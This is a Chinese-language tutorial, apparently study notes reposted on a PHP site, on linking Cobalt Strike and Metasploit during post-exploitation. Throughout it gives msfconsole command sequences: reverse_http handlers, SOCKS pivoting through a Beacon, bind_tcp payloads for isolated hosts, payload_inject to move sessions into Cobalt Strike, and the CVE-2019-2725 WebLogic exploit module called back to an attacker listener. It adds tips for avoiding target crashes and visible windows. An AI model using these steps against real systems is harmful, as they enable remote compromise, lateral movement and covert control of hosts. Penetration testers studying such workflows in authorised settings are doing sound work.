認準Ms08067
個人覺得CobaltStrike圖形化的介面和豐富的功能,是一個超強的後滲透框架,尤其是方便管理橫向在移動過程中蒐集到的各種資料和shell,但是對於漏洞利用、初始突破就顯得十分乏力;另一邊Metasploit作為漏洞利用框架,EXP及其順滑,各種各樣的模組,包含掃描、突破、拓展一條龍服務,但是對於多個shell的管理就顯得有些乏力了(畢竟沒有圖形化介面,命令太多記不住)。於是,如何將兩個框架有效的連結起來,就成為了今天想要學習的知識。
利用CS的Beacon給MSF派生一個shell,執行後續的滲透任務:
在MSF中設定監聽
# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz
在CS中建立一個外部監聽器Foreign HTTP (或Foreign HTTPS )
選擇想要衍生的目標,右鍵選擇spawn 功能,選擇剛建立的監聽器,即可在MSF中接收到回連。
利用CS為MSF提供轉送或代理功能,進行後續的探測與漏洞利用:
利用Beacon建立socks 代理程式:
在Beacon中輸入socks 監聽端口,或右鍵想要作為轉送的目標,在pivoting中選擇SOCKS Server ,配置監聽端口後點擊
launch 啟動。
在view -> Proxy Pivots 中可以看到建立的轉發器,點擊Tunnel即可獲得MSF的轉發命令
##複製到MSF中,設定代理與載重類型以CVE-2019-2725為測試標靶機#设置代理 msf> setg Proxies socks4:127.0.0.1:36725 #配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷 msf> set payload windows/meterpreter/bind_tcp msf> run##二、
取得了一個指令執行Shell:
這是最簡單的情況,也是最常見的情況,並不是所有的EXP都能反彈一個Meterpreter會話回來。
在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 來部署一個Payload分發站點:
配置監聽器和URL路徑,啟動後會彈出對應的指令提示
複製指令後,直接在MSF 的shell中執行即可
指令執行後MSF的會話會卡住,可以直接kill掉,不影響CS會話
取得了一個Meterpreter會話:
#獲得meterpreter會話後,利用MSF注入功能,載入Cs的payload
# 将meterpreter会话挂起 meterpreter> background # 进入payload_inject模块 msf> use exploit/windows/local/payload_inject # 根据CS监听器类型选择对应的payload(http或者https) msf> set payload windows/meterpreter/reverse_http # 设置回连地址(CS监听器地址) msf> set LHOST CS_IP msf> set LPORT CS_PORT # 指定要执行的meterpreter会话 msf> set session meterpreter会话ID # 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话) msf> set disablepayloadhandler true msf> run
在過程中發現,這種方法只能注入32位元的payload,如果注入64位元payload會導致目標進程崩潰,無法在64位元程式中註入32位元payload。崩潰原因是:APPCRASH(故障模組StackHash_af76),即使取得system權限、關閉UAC還是不行。如果不設定pid,則會建立一個32位元的notepad.exe進程,成功連線後記得及時遷移CS的會話進程。
直接反彈回CS:在MSF漏洞利用時直接請求並載入CS的載重,和第二種方法基本上一致(測試漏洞為CVE-2019 -2725)
# 根据CS监听器类型选择对应的payload msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http # 设置回连地址(CS监听器地址) msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT # 指定要执行的meterpreter会话 msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID # 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话) msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true
#其實和第二種動作是一樣,都是呼叫MSF的模組,設定payload的參數而已。漏洞利用成功後直接透過無視窗 powershell
返回CS會話,目標主機沒有視窗彈出。測試的時候無法載入64位元payload,可能是這個漏洞後會啟動一個32位元的cmd.exe來執行後續指令的原因。一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,
dns smb tcp
MSF中也有诸如
windows/meterpreter/reverse_tcp_dns windows/meterpreter/bind_named_pipe windows/meterpreter/reverse_tcp
这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。
以上是CobaltStrike和Metasploit連動的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!